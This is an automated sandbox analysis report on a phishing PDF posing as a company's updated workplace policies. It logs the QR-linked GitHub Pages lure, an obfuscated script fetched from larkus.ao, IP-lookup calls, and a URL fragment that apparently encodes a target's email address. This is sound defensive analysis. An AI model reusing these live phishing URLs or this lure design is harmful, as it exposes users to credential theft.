Edit tour

Windows Analysis Report
Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf

Overview

General Information

Sample name:	Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf
Analysis ID:	1577087
MD5:	282f1598a8f06e4bc477e8aabfa9d1d8
SHA1:	baea7172738f06b00b9478ae434b4a1b78d39c81
SHA256:	910d77445b561cdcfbefcbcec5bf7c97e0fd7a4dfc96abb38a0b0ea774e5aed0
Infos:

Detection

HTMLPhisher

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish78

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

HTML page contains hidden javascript code

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 7416 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7604 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7800 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1604,i,16713143759588623167,3168251973281867099,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7004 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/#c2JpZHppbnNraUBoYXJyaXNhc3NvYy5jb20= MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8256 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1948,i,12000973838117122200,13228138030383639485,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_181	JoeSecurity_HtmlPhish_78	Yara detected HtmlPhish_78	Joe Security
dropped/chromecache_182	JoeSecurity_HtmlPhish_78	Yara detected HtmlPhish_78	Joe Security

HTML

Source	Rule	Description	Author	Strings
1.1..script.csv	JoeSecurity_HtmlPhish_78	Yara detected HtmlPhish_78	Joe Security

HTTP traffic detected: POST /report/v4?s=Fu4V4TG6pcEcLP8N1pZSWTSNKKsjlofmYQ89bvK44sfdvgwfr3K6U7BPoECUrMEUVlbA17LN8lODsZVj6SELNl0hC6%2FUE0AjCso%2FLmSysGWk%2FusC9hyJJQpDO13B8OwsI5zl4Gpd HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 512Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 9115Server: GitHub.comContent-Type: text/html; charset=utf-8permissions-policy: interest-cohort=()ETag: "6758a043-239b"Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; img-src data:; connect-src 'self'X-GitHub-Request-Id: 4A2F:1790F1:D4D041:E466A1:6762092DAccept-Ranges: bytesAge: 0Date: Tue, 17 Dec 2024 23:28:45 GMTVia: 1.1 varnishX-Served-By: cache-nyc-kteb1890092-NYCX-Cache: MISSX-Cache-Hits: 0X-Timer: S1734478126.758548,VS0,VE11Vary: Accept-EncodingX-Fastly-Request-ID: 7eaf1ad869c53947c7a348f35e3017f756a8f719

Source: Yara match	File source: 1.1..script.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_181, type: DROPPED
Source: Yara match	File source: dropped/chromecache_182, type: DROPPED

Source: https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/#c2JpZHppbnNraUBoYXJyaXNhc3NvYy5jb20=	Joe Sandbox AI: Page contains button: 'Slide to verify' Source: '1.0.pages.csv'
Source: PDF document	Joe Sandbox AI: PDF document contains QR code

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://roadmap27.github.io/policy-update-review-b... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution and potential data exfiltration. The use of the `atob` function to decode a heavily obfuscated string, which is then decrypted using a hardcoded key and written to the document, raises significant security concerns. This type of behavior is often associated with malicious scripts that attempt to execute arbitrary code or steal sensitive information. While the intent of the script is unclear, the combination of these high-risk indicators warrants a thorough review and a high-risk score.
Source: 1.1..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://www.larkus.ao/animal/script.js... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of the `eval` function, the transmission of potentially sensitive data to external domains, and the heavily encoded script content indicate a high likelihood of malicious intent. This script should be considered a significant security risk and should be further investigated or blocked from execution.

Source: https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/#c2JpZHppbnNraUBoYXJyaXNhc3NvYy5jb20=	HTTP Parser: No favicon
Source: https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/#c2JpZHppbnNraUBoYXJyaXNhc3NvYy5jb20=	HTTP Parser: No favicon

Source: Joe Sandbox View	IP Address: 172.67.69.226 172.67.69.226
Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/ HTTP/1.1Host: roadmap27.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/style.css HTTP/1.1Host: roadmap27.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/image/logo.png HTTP/1.1Host: roadmap27.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.0.0/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://roadmap27.github.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /animal/script.js HTTP/1.1Host: www.larkus.aoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://roadmap27.github.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/image/logo.png HTTP/1.1Host: roadmap27.github.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.0.0/webfonts/fa-solid-900.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://roadmap27.github.iosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://roadmap27.github.ioSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://roadmap27.github.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /animal/script.js HTTP/1.1Host: www.larkus.aoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /harrisassoc.com?size=400 HTTP/1.1Host: logo.clearbit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://roadmap27.github.ioSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://roadmap27.github.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: roadmap27.github.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ipapi.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://roadmap27.github.ioSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://roadmap27.github.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /harrisassoc.com?size=400 HTTP/1.1Host: logo.clearbit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ipapi.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: roadmap27.github.io
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.larkus.ao
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: logo.clearbit.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ipapi.co

Source: 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: 2D85F72862B55C4EADD9E66E06947F3D0.1.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_178.5.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_178.5.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_176.5.dr	String found in binary or memory: https://githubstatus.com
Source: chromecache_176.5.dr	String found in binary or memory: https://help.github.com/pages/
Source: chromecache_176.5.dr	String found in binary or memory: https://twitter.com/githubstatus

Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1604,i,16713143759588623167,3168251973281867099,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/#c2JpZHppbnNraUBoYXJyaXNhc3NvYy5jb20=
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1948,i,12000973838117122200,13228138030383639485,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1604,i,16713143759588623167,3168251973281867099,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1948,i,12000973838117122200,13228138030383639485,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf	Initial sample: PDF keyword /JS count = 0
Source: Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

